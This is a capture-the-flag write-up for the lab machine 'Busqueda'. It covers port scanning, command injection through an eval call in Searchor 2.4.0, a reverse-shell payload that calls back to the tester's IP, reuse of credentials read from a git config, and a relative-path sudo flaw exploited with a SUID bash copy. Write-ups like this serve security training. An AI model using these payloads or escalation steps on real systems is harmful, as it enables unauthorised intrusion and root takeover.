Post

Busqueda

Busqueda is an Easy Difficulty Linux machine that involves exploiting a command injection vulnerability present in a `Python` module.

Busqueda

Summary

Arbitrary code execution in Searchor 2.4.0 - a python library handling the search mechanism in the web application - gave us inital access on the machine. Then a password found in a git config file was used to run a script using sudo. This script presented a flow (not using the full path of a script passed as argument) allowing us to escalate our privileges.

Enumeration

nmap

Initial port scan show two open ports, 80 and 22

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nmap -sVC -oN nmap/svc.nmap 10.10.11.208
# Nmap 7.93 scan initiated Mon Jun  5 10:36:51 2023
...
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
...
# Nmap done at Mon Jun  5 10:37:23 2023 -- 1 IP address (1 host up) scanned in 31.56 seconds

http - port 80

The home page conatains a shearch form.

We intercepted the post request to /search endpoint and noticed that the engine parameter is used to find the service we want to search in, and the other parameter query is used as the search query.

The Page footer reveales the python library behind this searching mechanism wich is searchor 2.4.0.

Searchor 2.4.0 is vulnerable to an Arbitrary Code Execution due to unsafe implementation of eval method.

Vulnerable code:

1
2
3
url = eval(
   f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)

source

Initial access

To exploit this vulnerability, we started by setting up a listener

1
nc -lnvp 9000

Then we used the following line as the query parameter, and launched a search request.

1
',+__import__('os').system('bash+-c+\"bash+-i+>%26+/dev/tcp/10.10.14.75/9001+0>%261\"'))%23

Finally we got connection back on our listener.

Privilege escalation

We found a virtual host gitea in the default config file of apache2 web server.

Gitea is a painless, self-hosted, all-in-one software development service. It includes Git hosting, code review, team collaboration, package registry, and CI/CD. It is similar to GitHub, Bitbucket and GitLab, Read More

1
cat /etc/apache2/sites-enabled/000-default.conf

We also found the credentials (cody:jh1usoih2bkjaspwe92) used to connect to gitea.

1
cat /var/www/app/.git/config

The password we found was reused by our current user (svc), which allowed us to run sudo command. As a result we found that the current user can execute a python script (/usr/bin/python3 /opt/scripts/system-checkup.py *) as root using sudo.

We ran it to see what it does, it tured out it accept one of three arguments:

  • docker-ps
  • docker-inspect
  • full-checkup

docker-ps and docker-inspect were not of interest to us as docker-ps only lists running containers for example.

The last action (full-checkup) on the other hand was very interesting, when ran without any arguments it threw an error.

With a little bit of diggin, we found that the full-checkup action trigger the execution of a script named full-checkup.sh.

The problem here is that the full path is not provided, so whenever we ran system-checkup.py it would look for full-checkup.sh in the current directory.

To exploit this flow we created a file full-checkup.sh with the following content.

1
2
3
4
#!/bin/bash

cp /bin/bash /tmp/.hrh
chmod u+s /tmp/.hrh

Then we ran

1
/usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

Once finished, a file .hrh which is a copy of bash with SUID bit set was created in /tmp directory, we ran and we got a root shell.

1
./.hrh -p

This post is licensed under CC BY 4.0 by the author.